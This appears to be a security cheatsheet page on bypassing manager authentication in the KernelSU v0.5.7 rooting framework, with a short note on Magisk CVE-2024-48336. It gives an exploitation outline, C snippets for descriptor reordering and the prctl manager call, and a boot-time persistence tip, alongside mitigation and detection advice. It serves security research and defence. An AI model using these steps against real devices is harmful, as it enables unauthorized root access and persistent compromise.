daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

android-rooting-frameworks-manager-auth-bypass-syscall-hook.md (13305B)


      1 ---
      2 title: "Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
     14 
     15 Rooting frameworks such as KernelSU, APatch and SKRoot patch or hook the Android/Linux kernel and expose privileged functionality to an unprivileged userspace manager app. Magisk is discussed separately below because CVE-2024-48336 involved manager-side code loading rather than this KernelSU syscall path.<sup>[[1]](#references)[[5]](#references)[[13]](#references)</sup>
     16 
     17 This page abstracts the techniques and pitfalls uncovered in public research (notably Zimperium’s analysis of KernelSU v0.5.7) to help both red and blue teams understand attack surfaces, exploitation primitives, and robust mitigations.<sup>[[1]](#references)</sup>
     18 
     19 ---
     20 ## Architecture pattern: syscall-hooked manager channel
     21 
     22 - In KernelSU v0.5.7, a kernel hook on `prctl` receives a magic value, command ID and command-specific arguments from userspace.<sup>[[1]](#references)[[2]](#references)[[11]](#references)</sup>
     23 - The caller first requests manager status with `CMD_BECOME_MANAGER`. Authorization is command-specific: `CMD_GRANT_ROOT` checks the manager/allowlist state, `CMD_ALLOW_SU` is manager-only, and `CMD_SET_SEPOLICY` is root-only in this version.<sup>[[2]](#references)[[11]](#references)</sup>
     24 - Other commands query version/configuration or report framework events.<sup>[[2]](#references)</sup>
     25 - Because any app can invoke this syscall interface, the correctness of manager authentication is critical.<sup>[[1]](#references)[[2]](#references)</sup>
     26 
     27 Example (KernelSU design):
     28 - Hooked syscall: prctl
     29 - Magic value to divert to KernelSU handler: 0xDEADBEEF
     30 - Commands include: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, etc.<sup>[[1]](#references)[[2]](#references)[[11]](#references)</sup>
     31 
     32 ---
     33 ## KernelSU v0.5.7 authentication flow (as implemented)
     34 
     35 When userspace calls prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifies:<sup>[[1]](#references)[[2]](#references)[[11]](#references)</sup>
     36 
     37 1) Path prefix check
     38 - The provided path must start with an expected prefix for the caller UID, e.g. /data/data/<pkg> or /data/user/<id>/<pkg>.
     39   - Reference: core_hook.c (v0.5.7) path prefix logic.<sup>[[2]](#references)</sup>
     40 
     41 2) Ownership check
     42 - The path must be owned by the caller UID.
     43   - Reference: core_hook.c (v0.5.7) ownership logic.<sup>[[2]](#references)</sup>
     44 
     45 3) APK signature check via FD table scan
     46 - Iterate the calling process’ open file descriptors in increasing descriptor order.
     47 - For each regular file whose path starts with `/data/app/` and ends with `/base.apk`, require the path to contain the package substring derived from the supplied data-directory path.
     48 - Verify the signature of the first candidate that passes those path checks.
     49 - Parse APK v2 signature and verify against the official manager certificate.
     50   - References: manager.c (iterating FDs), apk_sign.c (APK v2 verification).<sup>[[3]](#references)[[4]](#references)</sup>
     51 
     52 If all checks pass, the kernel caches the manager’s UID temporarily; manager-only commands then accept that UID, while other commands retain their own UID or allowlist checks.<sup>[[2]](#references)[[3]](#references)</sup>
     53 
     54 ---
     55 ## Vulnerability class: trusting path-derived APK selection
     56 
     57 KernelSU v0.5.7 does not bind the signature result to PackageManager’s installed package identity. In `manager.c`, the package test is only a path substring check (`strstr(cwd, pkg)`); the first candidate that passes that test is then signature-checked. An attacker can therefore place a genuine manager APK under a `/data/app/` path that also contains the attacker’s package name and arrange for it to be selected first.<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup>
     58 
     59 This trust-by-indirection lets an unprivileged app impersonate the manager without owning the manager’s signing key.<sup>[[1]](#references)</sup>
     60 
     61 Key properties exploited:<sup>[[1]](#references)[[3]](#references)</sup>
     62 - The FD scan is ordered by descriptor index and the package check is a path substring test, not a verified package-to-APK identity binding.
     63 - open() returns the lowest available FD. By closing lower-numbered FDs first, an attacker can control ordering.
     64 - A bundled manager APK can be placed under `/data/app/` at a path containing the attacker’s package string while retaining the official manager signature.
     65 
     66 ---
     67 ## Attack preconditions
     68 
     69 The concrete KernelSU v0.5.7 case requires:<sup>[[1]](#references)[[3]](#references)</sup>
     70 
     71 - The device is already rooted with a vulnerable rooting framework (e.g., KernelSU v0.5.7).
     72 - The attacker can run arbitrary unprivileged code locally (Android app process).
     73 - For the v0.5.7 implementation, `current->real_parent` must have UID 0 (the source comment describes this as a zygote direct-child requirement); `manager.c` rejects other parents.<sup>[[3]](#references)</sup>
     74 - The real manager has not yet authenticated (e.g., right after a reboot). Some frameworks cache the manager UID after success; you must win the race.<sup>[[1]](#references)</sup>
     75 
     76 ---
     77 ## Exploitation outline (KernelSU v0.5.7)
     78 
     79 High-level steps (the cited demo video shows the public proof of concept in operation):<sup>[[1]](#references)[[2]](#references)[[10]](#references)</sup>
     80 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks.
     81 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk.
     82 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) to pass the checks.
     83 4) Use `CMD_GRANT_ROOT`, then `CMD_ALLOW_SU` for persistent su; invoke root-only `CMD_SET_SEPOLICY` only after obtaining root and only where supported.
     84 
     85 Practical notes on step 2 (FD ordering):<sup>[[1]](#references)</sup>
     86 - Identify your process’ FD for your own /data/app/*/base.apk by walking /proc/self/fd symlinks.
     87 - Close a low FD (e.g., stdin, fd 0) and open the legitimate manager APK first so it occupies fd 0 (or any index lower than your own base.apk fd).
     88 - Bundle the legitimate manager APK with your app so its path starts with `/data/app/`, ends with `/base.apk`, and contains your package string. For example, a path under your app’s `lib` directory can satisfy these checks.<sup>[[1]](#references)[[3]](#references)</sup>
     89 
     90 Example code snippets (Android/Linux, illustrative only):
     91 
     92 Enumerate open FDs to locate base.apk entries:
     93 ```c
     94 #include <dirent.h>
     95 #include <stdio.h>
     96 #include <unistd.h>
     97 #include <string.h>
     98 
     99 int find_first_baseapk_fd(char out_path[PATH_MAX]) {
    100     DIR *d = opendir("/proc/self/fd");
    101     if (!d) return -1;
    102     struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
    103     int best_fd = -1;
    104     while ((e = readdir(d))) {
    105         if (e->d_name[0] == '.') continue;
    106         int fd = atoi(e->d_name);
    107         snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
    108         ssize_t n = readlink(link, p, sizeof(p)-1);
    109         if (n <= 0) continue; p[n] = '\0';
    110         if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
    111             if (best_fd < 0 || fd < best_fd) {
    112                 best_fd = fd; strncpy(out_path, p, PATH_MAX);
    113             }
    114         }
    115     }
    116     closedir(d);
    117     return best_fd; // First (lowest) matching fd
    118 }
    119 ```
    120 
    121 Force a lower-numbered FD to point at the legitimate manager APK:
    122 ```c
    123 #include <fcntl.h>
    124 #include <unistd.h>
    125 
    126 void preopen_legit_manager_lowfd(const char *legit_apk_path) {
    127     // Reuse stdin (fd 0) if possible so the next open() returns 0
    128     close(0);
    129     int fd = open(legit_apk_path, O_RDONLY);
    130     (void)fd; // fd should now be 0 if available
    131 }
    132 ```
    133 
    134 Manager authentication via the KernelSU v0.5.7 `prctl` hook:<sup>[[1]](#references)[[2]](#references)[[11]](#references)</sup>
    135 ```c
    136 #include <sys/prctl.h>
    137 #include <stdint.h>
    138 
    139 #define KSU_MAGIC          0xDEADBEEF
    140 #define CMD_BECOME_MANAGER 1  // KernelSU v0.5.7; other frameworks differ
    141 
    142 int become_manager(const char *my_data_dir) {
    143     uint32_t reply = 0;
    144     // arg3: data path; arg4: unused; arg5: userspace result pointer
    145     (void)prctl(KSU_MAGIC, CMD_BECOME_MANAGER,
    146                 (unsigned long)my_data_dir, 0UL,
    147                 (unsigned long)&reply);
    148     return reply == KSU_MAGIC ? 0 : -1;
    149 }
    150 ```
    151 
    152 After success, privileged commands (examples):<sup>[[2]](#references)[[11]](#references)</sup>
    153 - CMD_GRANT_ROOT: promote current process to root
    154 - CMD_ALLOW_SU: add your package/UID to allowlist for persistent su
    155 - CMD_SET_SEPOLICY: adjust SELinux policy after obtaining root; KernelSU v0.5.7 checks for UID 0 for this command.<sup>[[2]](#references)</sup>
    156 
    157 Race/persistence tip:
    158 - Register a BOOT_COMPLETED receiver in AndroidManifest (`RECEIVE_BOOT_COMPLETED`) to start after reboot and attempt authentication before the real manager; the permission authorizes receipt of `ACTION_BOOT_COMPLETED` but does not itself guarantee scheduling priority.<sup>[[1]](#references)[[12]](#references)</sup>
    159 
    160 ---
    161 ## Detection and mitigation guidance
    162 
    163 For framework developers:
    164 - Bind authentication to the caller’s package/UID, not to arbitrary FDs:
    165   - Resolve the caller’s package from its UID and verify against the installed package’s signature (via PackageManager) rather than scanning FDs.
    166   - If kernel-only, use stable caller identity (task creds) and validate on a stable source of truth managed by init/userspace helper, not process FDs.
    167 - Avoid path-prefix checks as identity; they are trivially satisfiable by the caller.
    168 - Use nonce-based challenge–response over the channel and clear any cached manager identity at boot or on key events.
    169 - Consider binder-based authenticated IPC instead of overloading generic syscalls when feasible.
    170 
    171 For defenders/blue team:
    172 - Detect presence of rooting frameworks and manager processes; monitor for prctl calls with suspicious magic constants (e.g., 0xDEADBEEF) if you have kernel telemetry.<sup>[[1]](#references)[[11]](#references)</sup>
    173 - On managed fleets, block or alert on boot receivers from untrusted packages that rapidly attempt privileged manager commands post-boot.
    174 - Ensure devices are updated to patched framework versions; invalidate cached manager IDs on update.
    175 
    176 Limitations of the attack:<sup>[[1]](#references)[[2]](#references)</sup>
    177 - Only affects devices already rooted with a vulnerable framework.
    178 - Typically requires a reboot/race window before the legitimate manager authenticates (some frameworks cache manager UID until reset).
    179 
    180 ---
    181 ## Related notes across frameworks
    182 
    183 - Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy.<sup>[[1]](#references)[[6]](#references)[[7]](#references)</sup>
    184 - Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not path-derived artefacts selected through FD scans.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>
    185 - Magisk: CVE-2024-48336 affected pre-Canary 27007 builds that loaded code from an unverified GMS package, allowing a local app to execute code in the Magisk app and escalate to root without user interaction.<sup>[[8]](#references)[[9]](#references)[[13]](#references)</sup>
    186 
    187 ---
    188 ## References
    189 
    190 - [1] [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
    191 - [2] [KernelSU v0.5.7 – core_hook.c authentication checks](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L149-L205)
    192 - [3] [KernelSU v0.5.7 – manager.c FD iteration, package check and signature call](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L16-L67)
    193 - [4] [KernelSU v0.5.7 – apk_sign.c APK v2 verification](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/apk_sign.c#L6-L119)
    194 - [5] [KernelSU project](https://kernelsu.org/)
    195 - [6] [APatch](https://github.com/bmax121/APatch)
    196 - [7] [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
    197 - [8] [Magisk issue #8279 – Verify GMS is system app](https://github.com/topjohnwu/Magisk/issues/8279)
    198 - [9] [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
    199 - [10] [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
    200 - [11] [KernelSU v0.5.7 – ksu.h command identifiers](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/ksu.h#L12-L24)
    201 - [12] [Android Manifest.permission.RECEIVE_BOOT_COMPLETED](https://developer.android.com/reference/android/Manifest.permission#RECEIVE_BOOT_COMPLETED)
    202 - [13] [NVD – CVE-2024-48336](https://nvd.nist.gov/vuln/detail/CVE-2024-48336)